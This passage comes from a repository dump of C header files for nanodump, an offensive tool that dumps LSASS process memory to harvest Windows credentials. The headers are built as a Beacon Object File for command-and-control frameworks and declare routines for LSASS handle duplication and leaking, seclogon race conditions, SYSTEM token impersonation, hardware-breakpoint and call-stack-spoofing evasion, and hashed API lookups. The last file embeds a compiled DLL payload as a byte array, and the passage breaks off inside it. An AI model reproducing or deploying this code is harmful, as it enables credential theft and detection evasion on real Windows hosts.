PHANDLE phProcess,\n    IN DWORD lsass_pid,\n    IN BOOL duplicate_handle,\n    IN BOOL elevate_handle,\n    IN BOOL duplicate_elevate,\n    IN BOOL use_seclogon_duplicate,\n    IN BOOL spoof_callstack,\n    IN BOOL is_seclogon_leak_local_stage_2,\n    IN LPCSTR seclogon_leak_remote_binary,\n    OUT PPROCESS_LIST* Pcreated_processes,\n    IN BOOL use_valid_sig,\n    IN LPCSTR dump_path,\n    IN BOOL fork_lsass,\n    IN BOOL snapshot_lsass,\n    OUT PHANDLE PhSnapshot,\n    IN BOOL use_seclogon_leak_local,\n    IN BOOL use_seclogon_leak_remote,\n    IN BOOL use_lsass_shtinkering);\n\nHANDLE open_handle_to_lsass(\n    IN DWORD lsass_pid,\n    IN DWORD permissions,\n    IN BOOL dup,\n    IN BOOL seclogon_race,\n    IN BOOL spoof_callstack,\n    IN BOOL is_malseclogon_stage_2,\n    IN DWORD attributes);\n\nHANDLE find_lsass(\n    IN DWORD dwFlags,\n    IN DWORD attributes);\n\nHANDLE get_process_handle(\n    IN DWORD dwPid,\n    IN DWORD dwFlags,\n    IN BOOL quiet,\n    IN DWORD attributes);\n\nBOOL get_all_handles(\n    OUT PSYSTEM_HANDLE_INFORMATION* phandle_table,\n    OUT PULONG phandle_table_size);\n\nBOOL process_is_included(\n    IN PPROCESS_LIST process_list,\n    IN ULONG ProcessId);\n\nBOOL get_processes_from_handle_table(\n    IN PSYSTEM_HANDLE_INFORMATION handleTableInformation,\n    OUT PPROCESS_LIST* pprocess_list);\n\nBOOL query_object_types_info(\n    POBJECT_TYPES_INFORMATION* pObjectTypes,\n    PULONG pObjectTypesSize);\n\nBOOL get_type_index_by_name(\n    IN LPWSTR handle_type,\n    OUT PULONG ProcesTypeIndex);\n\nHANDLE duplicate_lsass_handle(\n    IN DWORD lsass_pid,\n    IN DWORD permissions,\n    IN DWORD attributes);\n\nHANDLE fork_process(\n    IN HANDLE hProcess,\n    IN DWORD attributes);\n\nHANDLE snapshot_process(\n    IN HANDLE hProcess,\n    OUT PHANDLE hSnapshot);\n\nBOOL free_snapshot(\n    IN HANDLE hSnapshot);\n\n#endif\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/hw_breakpoint.h",
    "content": "\n#include <windows.h>\n\n#include \"dinvoke.h\"\n#include \"output.h\"\n#include \"ntdefs.h\"\n\n#define DEBUG_REGISTER_INDEX 0\n//#define DEBUG_REGISTER_INDEX 1\n//#define DEBUG_REGISTER_INDEX 2\n//#define DEBUG_REGISTER_INDEX 3\n\ntypedef PVOID(WINAPI* RtlAddVectoredExceptionHandler_t) (ULONG First, PVECTORED_EXCEPTION_HANDLER Handler);\ntypedef ULONG(WINAPI* RtlRemoveVectoredExceptionHandler_t) (PVOID Handle);\n\n#define RtlAddVectoredExceptionHandler_SW2_HASH 0xA79DB11D\n#define RtlRemoveVectoredExceptionHandler_SW2_HASH 0x24380EA3\n\n#if defined(__clang__)\n #define SET_SYNTAX \".intel_syntax noprefix \\n\"\n#else\n #define SET_SYNTAX\n#endif\n\nULONG_PTR set_bits(\n    ULONG_PTR dw,\n    int lowBit,\n    int bits,\n    ULONG_PTR newValue);\n\nVOID clear_breakpoint(\n    CONTEXT* ctx,\n    int index);\n\nVOID enable_breakpoint(\n    CONTEXT* ctx,\n    PVOID address,\n    int index);\n\nLONG hwbp_handler(\n    PEXCEPTION_POINTERS exceptions);\n\nBOOL set_hwbp(\n    PVOID address,\n    PHANDLE phHwBpHandler);\n\nVOID unset_hwbp(\n    HANDLE hHwBpHandler);\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/impersonate.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <winternl.h>\n\n#include \"dinvoke.h\"\n#include \"syscalls.h\"\n\n#ifndef ThreadImpersonationToken\n #define ThreadImpersonationToken 5\n#endif\n\ntypedef BOOL(WINAPI* ConvertStringSidToSidW_t) (LPCWSTR StringSid, PSID *Sid);\ntypedef BOOL(WINAPI* CopySid_t) (DWORD nDestinationSidLength, PSID pDestinationSid, PSID pSourceSid);\ntypedef BOOL(WINAPI* ConvertSidToStringSidW_t) (PSID Sid, LPWSTR *StringSid);\ntypedef BOOL(WINAPI* LookupAccountSidW_t) (LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName, LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse);\ntypedef BOOL(WINAPI* RevertToSelf_t) (VOID);\n\n#define ConvertStringSidToSidW_SW2_HASH 0x9A0697A4\n#define CopySid_SW2_HASH 0xE9DEE47F\n#define ConvertSidToStringSidW_SW2_HASH 0x2E89B34F\n#define LookupAccountSidW_SW2_HASH 0x093E752B\n#define RevertToSelf_SW2_HASH 0x93BC9622\n\nBOOL impersonate_user(\n    IN LPCWSTR pwszSid,\n    OUT PHANDLE phToken,\n    IN LPCWSTR pwszPrivileges[],\n    IN DWORD dwPrivilegeCount);\n\nBOOL impersonate(\n    IN HANDLE hToken);\n\nBOOL find_process_token_and_duplicate(\n    IN LPCWSTR pwszTargetSid,\n    IN LPCWSTR pwszPrivileges[],\n    IN DWORD dwPrivilegeCount,\n    OUT PHANDLE phToken);\n\nBOOL revert_to_self(VOID);\n\nBOOL impersonate_process(\n    IN DWORD process_id,\n    OUT PHANDLE phProcessToken);\n\nBOOL impersonate_system(\n    OUT PHANDLE phSystemToken);\n\nBOOL impersonate_local_service(\n    OUT PHANDLE phLocalServiceToken);\n\nBOOL token_get_sid(\n    IN HANDLE hToken,\n    OUT PSID* ppSid);\n\nBOOL token_get_sid_as_string(\n    IN HANDLE hToken,\n    OUT LPWSTR* ppwszStringSid);\n\nBOOL is_current_user_system(\n    OUT PBOOL pbResult);\n\nBOOL token_compare_sids(\n    IN PSID pSidA,\n    IN PSID pSidB);\n\nBOOL token_is_not_restricted(\n    IN HANDLE hToken,\n    OUT PBOOL pbIsNotRestricted);\n\nBOOL token_get_username(\n    IN HANDLE hToken,\n    OUT LPWSTR* ppwszUsername);\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/malseclogon.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <winternl.h>\n\n#include \"nanodump.h\"\n#include \"handle.h\"\n#include \"dinvoke.h\"\n\n#if defined(NANO) && !defined(SSP) && !defined(PPL_DUMP) && !defined(PPL_MEDIC)\n\n#ifndef CTL_CODE\n\n#define CTL_CODE( DeviceType, Function, Method, Access ) (                 \\\n    ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \\\n)\n\n#endif /* CTL_CODE */\n\n#ifndef REQUEST_OPLOCK_CURRENT_VERSION\n\n#define REQUEST_OPLOCK_CURRENT_VERSION 1\n\ntypedef struct _REQUEST_OPLOCK_INPUT_BUFFER {\n  USHORT StructureVersion;\n  USHORT StructureLength;\n  ULONG RequestedOplockLevel;\n  ULONG Flags;\n} REQUEST_OPLOCK_INPUT_BUFFER, *PREQUEST_OPLOCK_INPUT_BUFFER;\n\ntypedef struct _REQUEST_OPLOCK_OUTPUT_BUFFER {\n  USHORT StructureVersion;\n  USHORT StructureLength;\n  ULONG OriginalOplockLevel;\n  ULONG NewOplockLevel;\n  ULONG Flags;\n  ACCESS_MASK AccessMode;\n  USHORT ShareMode;\n} REQUEST_OPLOCK_OUTPUT_BUFFER, *PREQUEST_OPLOCK_OUTPUT_BUFFER;\n\n#endif /* REQUEST_OPLOCK_CURRENT_VERSION */\n\n#ifndef OPLOCK_LEVEL_CACHE_READ\n#define OPLOCK_LEVEL_CACHE_READ         (0x00000001)\n#endif\n#ifndef OPLOCK_LEVEL_CACHE_HANDLE\n#define OPLOCK_LEVEL_CACHE_HANDLE       (0x00000002)\n#endif\n#ifndef OPLOCK_LEVEL_CACHE_WRITE\n#define OPLOCK_LEVEL_CACHE_WRITE        (0x00000004)\n#endif\n\n#ifndef REQUEST_OPLOCK_INPUT_FLAG_REQUEST\n#define REQUEST_OPLOCK_INPUT_FLAG_REQUEST               (0x00000001)\n#endif\n#ifndef REQUEST_OPLOCK_INPUT_FLAG_ACK\n#define REQUEST_OPLOCK_INPUT_FLAG_ACK                   (0x00000002)\n#endif\n#ifndef REQUEST_OPLOCK_INPUT_FLAG_COMPLETE_ACK_ON_CLOSE\n#define REQUEST_OPLOCK_INPUT_FLAG_COMPLETE_ACK_ON_CLOSE (0x00000004)\n#endif\n\n#ifndef FILE_DEVICE_FILE_SYSTEM\n#define FILE_DEVICE_FILE_SYSTEM           0x00000009\n#endif\n\n#ifndef METHOD_BUFFERED\n#define METHOD_BUFFERED                   0\n#endif\n\n#ifndef FILE_ANY_ACCESS\n#define FILE_ANY_ACCESS                   0x00000000\n#endif\n\n#ifndef FSCTL_REQUEST_OPLOCK\n#define FSCTL_REQUEST_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 144, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#endif\n\nstruct TEB\n{\n    struct _NT_TIB NtTib;\n    VOID* EnvironmentPointer;\n    struct _CLIENT_ID ClientId;\n    VOID* ActiveRpcHandle;\n    VOID* ThreadLocalStoragePointer;\n    struct _PEB* ProcessEnvironmentBlock;\n};\n\ntypedef struct _FILE_PROCESS_IDS_USING_FILE_INFORMATION\n{\n    ULONG NumberOfProcessIdsInList;\n    ULONG_PTR ProcessIdList[1];\n} FILE_PROCESS_IDS_USING_FILE_INFORMATION, * PFILE_PROCESS_IDS_USING_FILE_INFORMATION;\n\ntypedef struct _THREAD_PARAMETERS\n{\n    DWORD pid;\n    LPWSTR cmdline;\n    PBOOL file_lock_was_triggered;\n} THREAD_PARAMETERS, *PTHREAD_PARAMETERS;\n\n#define FileProcessIdsUsingFileInformation 47\n\ntypedef BOOL(WINAPI* CreateProcessWithLogonW_t) (LPCWSTR lpUsername, LPCWSTR lpDomain, LPCWSTR lpPassword, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);\ntypedef BOOL(WINAPI* CreateProcessWithTokenW_t) (HANDLE hToken, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);\n\n#define CreateProcessWithLogonW_SW2_HASH 0x39A92305\n#define CreateProcessWithTokenW_SW2_HASH 0x03A92535\n\nVOID change_pid(\n    IN DWORD new_pid,\n    OUT PDWORD previous_pid);\n\nVOID set_command_line(\n    IN BOOL use_malseclogon_locally,\n    IN LPWSTR command_line,\n    IN LPCSTR program_name,\n    IN LPCSTR dump_path,\n    IN BOOL fork_lsass,\n    IN BOOL snapshot_lsass,\n    IN BOOL use_valid_sig,\n    IN BOOL use_lsass_shtinkering,\n    IN LPWSTR synchronization_file);\n\nBOOL save_new_process_pid(\n    IN PPROCESS_LIST process_list,\n    IN DWORD pid);\n\nBOOL check_if_succeded(\n    IN DWORD new_pid,\n    IN LPWSTR dump_path);\n\nVOID kill_created_processes(\n    IN PPROCESS_LIST created_processes);\n\nBOOL malseclogon_handle_leak(\n    IN LPCSTR binary_path,\n    IN LPCSTR dump_path,\n    IN BOOL fork_lsass,\n    IN BOOL snapshot_lsass,\n    IN BOOL use_valid_sig,\n    IN BOOL use_lsass_shtinkering,\n    IN BOOL use_malseclogon_locally,\n    IN DWORD lsass_pid,\n    OUT PPROCESS_LIST* Pcreated_processes);\n\nBOOL malseclogon_stage_1(\n    IN LPCSTR program_name,\n    IN LPCSTR dump_path,\n    IN BOOL fork_lsass,\n    IN BOOL snapshot_lsass,\n    IN BOOL use_valid_sig,\n    IN BOOL use_lsass_shtinkering,\n    IN BOOL use_malseclogon_locally,\n    IN DWORD lsass_pid,\n    OUT PPROCESS_LIST process_list);\n\nVOID malseclogon_trigger_lock(\n    IN DWORD lsass_pid,\n    IN LPWSTR cmdline,\n    IN PBOOL file_lock_was_triggered);\n\nDWORD WINAPI thread_seclogon_lock(\n    IN LPVOID lpParam);\n\nBOOL leak_lsass_handle_in_seclogon_with_race_condition(\n    IN DWORD lsass_pid,\n    OUT PHANDLE hEvent,\n    OUT PHANDLE hFile);\n\nDWORD get_pid_using_file_path(\n    IN LPWSTR file_path);\n\nDWORD get_seclogon_pid(VOID);\n\nHANDLE malseclogon_race_condition(\n    IN DWORD lsass_pid,\n    IN DWORD permissions,\n    IN DWORD attributes);\n\n#ifdef EXE\nHANDLE malseclogon_stage_2(VOID);\n#endif\n\n#endif\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/modules.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <winternl.h>\n\n#include \"output.h\"\n#include \"syscalls.h\"\n#include \"ntdefs.h\"\n#include \"utils.h\"\n\n#define UNUSED(x) (void)(x)\n\n#define LSASRV_DLL L\"lsasrv.dll\"\n#ifdef _WIN64\n#define LDR_POINTER_OFFSET 0x18\n#define MODULE_LIST_POINTER_OFFSET 0x10\n#else\n#define LDR_POINTER_OFFSET 0xc\n#define MODULE_LIST_POINTER_OFFSET 0xc\n#endif\n\ntypedef struct _module_info\n{\n    struct _module_info* next;\n    ULONG64 dll_base;\n    ULONG32 size_of_image;\n    char dll_name[512];\n    ULONG32 name_rva;\n    ULONG32 TimeDateStamp;\n    ULONG32 CheckSum;\n} module_info, *Pmodule_info;\n\nPVOID get_peb_address(\n    IN HANDLE hProcess);\n\nPVOID get_module_list_address(\n    IN HANDLE hProcess,\n    IN BOOL is_lsass);\n\nPmodule_info add_new_module(\n    IN HANDLE hProcess,\n    IN struct LDR_DATA_TABLE_ENTRY* ldr_entry);\n\nBOOL read_ldr_entry(\n    IN HANDLE hProcess,\n    IN PVOID ldr_entry_address,\n    OUT struct LDR_DATA_TABLE_ENTRY* ldr_entry,\n    OUT wchar_t* base_dll_name);\n\nPmodule_info find_modules(\n    IN HANDLE hProcess,\n    IN wchar_t* important_modules[],\n    IN int number_of_important_modules,\n    IN BOOL is_lsass);\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/nanodump.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <winternl.h>\n#include <time.h>\n#include <string.h>\n#include <memory.h>\n\n#if defined(EXE) || defined(DLL)\n #define PE\n#endif\n\n#ifndef BOF\n#include \"beacon.h\"\n#include \"adaptix.h\"\n#include \"output.h\"\n#include \"ntdefs.h\"\n#include \"utils.h\"\n#include \"handle.h\"\n#include \"modules.h\"\n#include \"syscalls.h\"\n#include \"token_priv.h\"\n#include \"malseclogon.h\"\n#include \"werfault.h\"\n#include \"impersonate.h\"\n#include \"spoof_callstack.h\"\n#include \"shtinkering.h\"\n#endif\n\n// amount of memory requested to write the dump: 200 MiB\n#define DUMP_MAX_SIZE 0x0c800000\n\n// fake credentials used by MalSecLogon\n#define NANODUMP_USER   L\"NanoDumpUser\"\n#define NANODUMP_DOMAIN L\"NanoDumpDomain\"\n#define NANODUMP_PASSWD L\"NanoDumpPwd\"\n\n// change to remove the \"LSASS\" string from the binaries\n#define LSASS \"LSASS\"\n\n// permissions requested by PssNtCaptureSnapshot\n#define PROCESS_PPSCAPTURESNAPSHOT_PERMISSIONS PSS_CAPTURE_VA_CLONE\n#define THREAD_PPSCAPTURESNAPSHOT_PERMISSIONS 0\n\n#if _WIN64\n #define PROCESS_PARAMETERS_OFFSET 0x20\n #define OSMAJORVERSION_OFFSET 0x118\n #define OSMINORVERSION_OFFSET 0x11c\n #define OSBUILDNUMBER_OFFSET 0x120\n #define OSPLATFORMID_OFFSET 0x124\n #define CSDVERSION_OFFSET 0x2e8\n #define PROCESSOR_ARCHITECTURE AMD64\n#else\n #define PROCESS_PARAMETERS_OFFSET 0x10\n #define OSMAJORVERSION_OFFSET 0xa4\n #define OSMINORVERSION_OFFSET 0xa8\n #define OSBUILDNUMBER_OFFSET 0xac\n #define OSPLATFORMID_OFFSET 0xb0\n #define CSDVERSION_OFFSET 0x1f0\n #define PROCESSOR_ARCHITECTURE INTEL\n#endif\n\n#define ARRAY_SIZE(a) (sizeof(a)/sizeof((a)[0]))\n\n#define SystemHandleInformation 0x10\n#define ObjectTypeInformation 2\n\n#define CALLBACK_FILE       0x02\n#define CALLBACK_FILE_WRITE 0x08\n#define CALLBACK_FILE_CLOSE 0x09\n\n#ifndef MEM_COMMIT\n #define MEM_COMMIT 0x1000\n#endif\n#ifndef MEM_MAPPED\n #define MEM_MAPPED 0x40000\n#endif\n#ifndef MEM_IMAGE\n #define MEM_IMAGE 0x1000000\n#endif\n#define PAGE_NOACCESS 0x01\n#define PAGE_GUARD 0x100\n\n#ifdef BOF\n WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(VOID);\n WINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);\n WINBASEAPI BOOL   WINAPI KERNEL32$HeapFree (HANDLE, DWORD, PVOID);\n WINBASEAPI DWORD  WINAPI KERNEL32$GetLastError (VOID);\n WINBASEAPI HLOCAL WINAPI KERNEL32$LocalAlloc(UINT uFlags, SIZE_T uBytes);\n WINBASEAPI HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL hMem);\n\n WINBASEAPI wchar_t * __cdecl MSVCRT$wcsstr(const wchar_t *_Str,const wchar_t *_SubStr);\n WINBASEAPI char *    __cdecl MSVCRT$strrchr(const char *_Str,int _Ch);\n WINBASEAPI void *    __cdecl MSVCRT$memcpy(void * _Dst,const void * _Src,size_t _MaxCount);\n WINBASEAPI int       __cdecl MSVCRT$memcmp(const void *_Buf1,const void *_Buf2,size_t _Size);\n WINBASEAPI size_t    __cdecl MSVCRT$strnlen(const char *s, size_t maxlen);\n WINBASEAPI size_t    __cdecl MSVCRT$wcsnlen(const wchar_t *_Src,size_t _MaxCount);\n WINBASEAPI wchar_t * __cdecl MSVCRT$wcsncpy(wchar_t * ,const wchar_t * ,size_t);\n WINBASEAPI size_t    __cdecl MSVCRT$mbstowcs(wchar_t * _Dest,const char * _Source,size_t _MaxCount);\n WINBASEAPI size_t    __cdecl MSVCRT$wcstombs(char * _Dest,const wchar_t * _Source,size_t _MaxCount);\n WINBASEAPI wchar_t * __cdecl MSVCRT$wcsncat(wchar_t * _Dest,const wchar_t * _Source,size_t _Count);\n WINBASEAPI int       __cdecl MSVCRT$strncmp(const char *s1, const char *s2, size_t n);\n WINBASEAPI int       __cdecl MSVCRT$strcmp(const char *s1, const char *s2);\n WINBASEAPI int       __cdecl MSVCRT$wcscmp(const wchar_t *_Str1, const wchar_t *_Str2);\n WINBASEAPI int       __cdecl MSVCRT$_wcsicmp(const wchar_t *_Str1,const wchar_t *_Str2);\n WINBASEAPI void      __cdecl MSVCRT$srand(int initial);\n WINBASEAPI int       __cdecl MSVCRT$rand();\n WINBASEAPI time_t    __cdecl MSVCRT$time(time_t *time);\n WINBASEAPI void      __cdecl MSVCRT$memset(void *dest, int c, size_t count);\n WINBASEAPI size_t    __cdecl MSVCRT$strlen(const char *s);\n WINBASEAPI char *    __cdecl MSVCRT$strncpy(char * __dst, const char * __src, size_t __n);\n WINBASEAPI char *    __cdecl MSVCRT$strncat(char * _Dest,const char * _Source, size_t __n);\n WINBASEAPI int       __cdecl MSVCRT$_vscprintf(const char *format, va_list argptr);\n WINBASEAPI int       __cdecl MSVCRT$vsprintf_s(char *_DstBuf,size_t _Size,const char *_Format,va_list _ArgList);\n WINBASEAPI size_t    __cdecl MSVCRT$wcslen(const wchar_t *_Str);\n WINBASEAPI int       __cdecl MSVCRT$sprintf_s(char *_DstBuf, size_t _DstSize, const char *_Format, ...);\n WINBASEAPI int       __cdecl MSVCRT$swprintf_s(wchar_t *_Dst,size_t _SizeInWords,const wchar_t *_Format,...);\n WINBASEAPI wchar_t * __cdecl MSVCRT$wcsrchr(const wchar_t *_Str,wchar_t _Ch);\n\n #define GetProcessHeap   KERNEL32$GetProcessHeap\n #define HeapAlloc        KERNEL32$HeapAlloc\n #define HeapFree         KERNEL32$HeapFree\n #define GetLastError     KERNEL32$GetLastError\n #define LocalAlloc       KERNEL32$LocalAlloc\n #define LocalFree        KERNEL32$LocalFree\n\n #define wcsstr     MSVCRT$wcsstr\n #define strrchr    MSVCRT$strrchr\n #define memcpy     MSVCRT$memcpy\n #define memcmp     MSVCRT$memcmp\n #define strnlen    MSVCRT$strnlen\n #define wcsnlen    MSVCRT$wcsnlen\n #define wcsncpy    MSVCRT$wcsncpy\n #define mbstowcs   MSVCRT$mbstowcs\n #define wcstombs   MSVCRT$wcstombs\n #define wcsncat    MSVCRT$wcsncat\n #define strncmp    MSVCRT$strncmp\n #define strcmp     MSVCRT$strcmp\n #define wcscmp     MSVCRT$wcscmp\n #define _wcsicmp   MSVCRT$_wcsicmp\n #define srand      MSVCRT$srand\n #define rand       MSVCRT$rand\n #define time       MSVCRT$time\n #define memset     MSVCRT$memset\n #define strlen     MSVCRT$strlen\n #define strncpy    MSVCRT$strncpy\n #define strncat    MSVCRT$strncat\n #define _vscprintf MSVCRT$_vscprintf\n #define vsprintf_s MSVCRT$vsprintf_s\n #define wcslen     MSVCRT$wcslen\n #define sprintf_s  MSVCRT$sprintf_s\n #define swprintf_s MSVCRT$swprintf_s\n #define wcsrchr    MSVCRT$wcsrchr\n\n#endif\n\n#define MINIDUMP_SIGNATURE 0x504d444d\n#define MINIDUMP_VERSION 42899\n#define MINIDUMP_IMPL_VERSION 0\n\n#define SIZE_OF_HEADER 32\n#define SIZE_OF_DIRECTORY 12\n#ifdef _WIN64\n #define SIZE_OF_SYSTEM_INFO_STREAM 48\n#else\n #define SIZE_OF_SYSTEM_INFO_STREAM 56\n#endif\n#define SIZE_OF_MINIDUMP_MODULE 108\n\nenum StreamType\n{\n    SystemInfoStream = 7,\n    ModuleListStream = 4,\n    Memory64ListStream = 9,\n};\n\nenum ProcessorArchitecture\n{\n    AMD64 = 9,\n    INTEL = 0,\n};\n\nenum MiniDumpType\n{\n    MiniDumpNormal = 0,\n};\n\ntypedef struct _MiniDumpHeader\n{\n     ULONG32       Signature;\n     SHORT         Version;\n     SHORT         ImplementationVersion;\n     ULONG32       NumberOfStreams;\n     ULONG32       StreamDirectoryRva;\n     ULONG32       CheckSum;\n     ULONG32       Reserved;\n     ULONG32       TimeDateStamp;\n     ULONG32       Flags;\n} MiniDumpHeader, *PMiniDumpHeader;\n\ntypedef struct _MiniDumpDirectory\n{\n     ULONG32       StreamType;\n     ULONG32       DataSize;\n     ULONG32       Rva;\n} MiniDumpDirectory, *PMiniDumpDirectory;\n\ntypedef struct _dump_context\n{\n    HANDLE  hProcess;\n    PVOID   BaseAddress;\n    ULONG32 rva;\n    SIZE_T  DumpMaxSize;\n    ULONG32 Signature;\n    USHORT  Version;\n    USHORT  ImplementationVersion;\n} dump_context, *Pdump_context;\n\ntypedef struct _MiniDumpSystemInfo\n{\n    SHORT ProcessorArchitecture;\n    SHORT ProcessorLevel;\n    SHORT ProcessorRevision;\n    char    NumberOfProcessors;\n    char    ProductType;\n    ULONG32 MajorVersion;\n    ULONG32 MinorVersion;\n    ULONG32 BuildNumber;\n    ULONG32 PlatformId;\n    ULONG32 CSDVersionRva;\n    SHORT SuiteMask;\n    SHORT Reserved2;\n#if _WIN64\n        ULONG64 ProcessorFeatures1;\n        ULONG64 ProcessorFeatures2;\n#else\n        ULONG32 VendorId1;\n        ULONG32 VendorId2;\n        ULONG32 VendorId3;\n        ULONG32 VersionInformation;\n        ULONG32 FeatureInformation;\n        ULONG32 AMDExtendedCpuFeatures;\n#endif\n} MiniDumpSystemInfo, *PMiniDumpSystemInfo;\n\ntypedef struct _VsFixedFileInfo\n{\n    ULONG32 dwSignature;\n    ULONG32 dwStrucVersion;\n    ULONG32 dwFileVersionMS;\n    ULONG32 dwFileVersionLS;\n    ULONG32 dwProductVersionMS;\n    ULONG32 dwProductVersionLS;\n    ULONG32 dwFileFlagsMask;\n    ULONG32 dwFileFlags;\n    ULONG32 dwFileOS;\n    ULONG32 dwFileType;\n    ULONG32 dwFileSubtype;\n    ULONG32 dwFileDateMS;\n    ULONG32 dwFileDateLS;\n} VsFixedFileInfo, *PVsFixedFileInfo;\n\ntypedef struct _MiniDumpLocationDescriptor\n{\n    ULONG32 DataSize;\n    ULONG32 rva;\n} MiniDumpLocationDescriptor, *PMiniDumpLocationDescriptor;\n\ntypedef struct _MiniDumpModule\n{\n    ULONG64 BaseOfImage;\n    ULONG32 SizeOfImage;\n    ULONG32 CheckSum;\n    ULONG32 TimeDateStamp;\n    ULONG32 ModuleNameRva;\n    VsFixedFileInfo VersionInfo;\n    MiniDumpLocationDescriptor CvRecord;\n    MiniDumpLocationDescriptor MiscRecord;\n    ULONG64 Reserved0;\n    ULONG64 Reserved1;\n} MiniDumpModule, *PMiniDumpModule;\n\ntypedef struct _MiniDumpMemoryDescriptor64\n{\n    struct _MiniDumpMemoryDescriptor64* next;\n    ULONG64 StartOfMemoryRange;\n    ULONG64 DataSize;\n    DWORD   State;\n    DWORD   Protect;\n    DWORD   Type;\n} MiniDumpMemoryDescriptor64, *PMiniDumpMemoryDescriptor64;\n\nVOID writeat(\n    IN Pdump_context dc,\n    IN ULONG32 rva,\n    IN const PVOID data,\n    IN unsigned size);\n\nBOOL append(\n    IN Pdump_context dc,\n    IN const PVOID data,\n    IN ULONG32 size);\n\nBOOL write_header(\n    IN Pdump_context dc);\n\nBOOL write_directory(\n    IN Pdump_context dc,\n    IN MiniDumpDirectory directory);\n\nBOOL write_directories(\n    IN Pdump_context dc);\n\nBOOL write_system_info_stream(\n    IN Pdump_context dc);\n\n//Pmodule_info write_module_list_stream(\n//    IN Pdump_context dc);\n//\n//BOOL is_important_module(\n//    IN PVOID address,\n//    IN Pmodule_info module_list);\n//\n//PMiniDumpMemoryDescriptor64 get_memory_ranges(\n//    IN Pdump_context dc,\n//    IN Pmodule_info module_list);\n//\n//PMiniDumpMemoryDescriptor64 write_memory64_list_stream(\n//    IN Pdump_context dc,\n//    IN Pmodule_info module_list);\n\nBOOL NanoDumpWriteDump(\n    IN Pdump_context dc);\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/nanodump_ppl_dump_dll.x64.h",
    "content": "#pragma once\n\nunsigned char nanodump_ppl_dump_dll[] = {0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xFF,0xFF,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x0E,0x1F,0xBA,0x0E,0x00,0xB4,0x09,0xCD,0x21,0xB8,0x01,0x4C,0xCD,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6F,0x67,0x72,0x61,0x6D,0x20,0x63,0x61,0x6E,0x6E,0x6F,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6E,0x20,0x69,0x6E,0x20,0x44,0x4F,0x53,0x20,0x6D,0x6F,0x64,0x65,0x2E,0x0D,0x0D,0x0A,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x45,0x00,0x00,0x64,0x86,0x0B,0x00,0x96,0x79,0x7A,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xF0,0x00,0x2E,0x22,0x0B,0x02,0x02,0x29,0x00,0xE4,0x00,0x00,0x00,0x22,0x01,0x00,0x00,0x24,0x00,0x00,0x40,0x13,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0xC5,0xCA,0x01,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x02,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x05,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xD0,0x01,0x00,0x00,0x04,0x00,0x00,0x3C,0xA3,0x01,0x00,0x03,0x00,0x60,0x01,0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x80,0x01,0x00,0xAE,0x01,0x00,0x00,0x00,0x90,0x01,0x00,0x2C,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x01,0x00,0x70,0x0B,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x01,0x00,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x1D,0x01,0x00,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xF0,0x91,0x01,0x00,0xB0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2E,0x74,0x65,0x78,0x74,0x00,0x00,0x00,0x08,0xE2,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0xE4,0